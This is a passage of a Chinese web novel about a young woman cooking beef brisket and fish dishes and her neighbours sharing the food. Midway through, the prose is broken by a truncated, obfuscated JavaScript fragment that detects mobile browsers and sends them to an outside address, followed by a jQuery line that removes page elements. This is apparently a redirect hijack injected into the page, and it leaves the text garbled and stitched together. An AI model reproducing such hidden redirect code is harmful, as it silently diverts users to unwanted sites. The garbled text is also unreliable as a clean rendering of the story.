小卿宝想了想,从家里走到这里不需要好久好久,也不用坐车车,那她就可以跟小姨待在一起更长时间啦,于是点点头:“宝宝想在这里!” 这里离小姨近近哒,她很想小姨的话,睡午觉的时候做梦飞回来看小姨也不会迷路啦。 以前住在姑婆家,好远好远啊,她在梦里都找不到爸爸妈妈,也找不到小姨,可难过了。 林阅棠看小卿宝确实很满意这家幼儿园,于是也改变了想法,那就让宝宝上圣沙幼儿园吧。 一大一小继续散步,走着走着就到菜市场。 不用攒小卿宝的学费,林阅棠手头瞬间宽裕很多,她买了做牛肉丸的牛后腿后,又要了一大块牛腩,她打算煮一锅红烧牛腩,焖得软软烂烂无论是用来煮面还是浇在米饭上面都很好吃。 昌大爷到家后,鬼鬼祟祟把凉拌鱼皮藏在冰箱最里头,还把其他东西拉过来挡了挡。 陈星回到家里是晚上八点多,他带着一身疲倦换好鞋子。 “回来啦,饿坏了吧,奶奶去帮你把鱼煮上。”招奶奶走进厨房,脂白色的汤都是滤过再打包的,米粥是没有了,只有大块的鱼头鱼块,加热之后米香味跟鱼香味咕嘟嘟地随着热气冒出。 招奶奶切了一块嫩豆腐下去,又把薄如蝉翼的鱼片倒进去烫了烫,整个锅直接端到餐桌上,那香味醇厚勾人。 陈星喝了一口,觉得整个都精神起来了:“奶奶,你手艺进步那么大啊,好好喝啊。” 这豆腐吸收了汤汁的鲜美,味道都提高了几个档次。 陈大爷:“啥啊,这是小棠做的,打包回来加热而已。” 招奶奶看陈大爷:“小棠做的那凉拌鱼皮呢?拿出来,你可别想自己偷吃。” 陈大爷把冷藏的凉拌鱼皮拿出来,掀开盖子,一阵开胃的酸辣味就传了出来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15072318|163267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >鱼皮薄而不透,被冰水激得脆生生打着卷,上面纹路滚着星星点点的白芝麻,一点儿腥气都没有。 “你一个,我一个,星星一个……”陈大爷给每人平均分了。 陈星夹起一块沾满酱汁的鱼皮,吃起来脆得能听见声:“好爽口,而且它这个辣很香,完全不会辣过头。”像他这种不怎么能吃辣的都觉得好吃。 陈大爷吃完鱼皮,把饭盒里的花生,甚至还有葱花都给吃完了,还意犹未尽地舔了舔筷子:“唉,你说这鱼怎么就只长了一身鱼皮呢,吃两口就没了。” 招奶奶:“是啊,实在不行跟你的脸皮一样长厚一点也好啊。” 陈大爷:“……” 陈星吃完豆腐鱼片,又把大鱼块捞起来啃得干干净净,但还是觉得没有饱,招奶奶又给他加热了一碗米饭,把米粉泡在鱼汤里吃:“真香啊!” 月亮升起来了,光芒柔柔地撒在房屋上,树枝上,街道上…… 林阅棠把泡出血水的牛腩切块,热锅炒出糖色,牛腩块下锅翻炒,淋上生抽老抽,酱香味腾起。 林阅棠将泛着油光的牛腩肉转到高压锅里,扔下去一个配好的香料包,开火焖个四十分钟。 第二天,林阅棠起得特别早,五点多就到了菜市场。 此时菜市场已经很热闹了,很多人正在拉货准备去其他地方售卖。 林阅棠站在粉店前,因为两只手拎起河粉跟粿条,只能抬抬下巴示意:“老板,再帮我称五斤竹升面吧。” 老板跟她唠上:“要做云吞面吃啊?” 林阅棠:“没包云吞,煮了锅牛腩当浇头。” 老板的圆脸笑起来特别温柔近人:“靓女,你做吃的吧,你店开在哪里啊?” “就在村尾。” “改天我一定要去尝尝。” “好啊,欢迎你。”林阅棠笑着转了钱过去,然后将东西都放在小推车上。 林阅棠又买了点白萝卜跟土豆番茄,白萝卜焖牛腩适合用来煮面,土豆番茄炖牛腩适合拌饭吃,她也是嘴瘾上来了,两个都想要尝一尝,所以就都买了,准备一个早餐吃,一个午餐吃。 回到家,林阅棠把牛腩跟牛肉丸搬下楼,将牛腩倒了大半出来跟白萝卜一起放进砂锅里用小火慢慢煮。 昌大爷家。 昌大爷特意调了早上六点的闹钟,醒来后他立刻起身来到冰箱里,将昨晚藏起来的凉拌鱼皮拿出来。 他本来想偷摸着回屋里吃,后来一想不行,香味被闻到怎么办? 被发现了肯定要分出去的,但是这凉拌鱼皮就这么点儿。 昌大爷想了想,决定去楼下吃! 昌大爷儿媳妇起床后正准备去洗漱就看到一个背影,她赶紧回屋把丈夫摇醒:“别睡了,快起来,我看见爸刚刚鬼鬼祟祟出门了。” “啥……这么早,爸出门做什么?” 昌大爷儿子叫昌文丙,儿媳妇叫戴晓岚。 戴晓岚:“咱们跟上去看看吧。”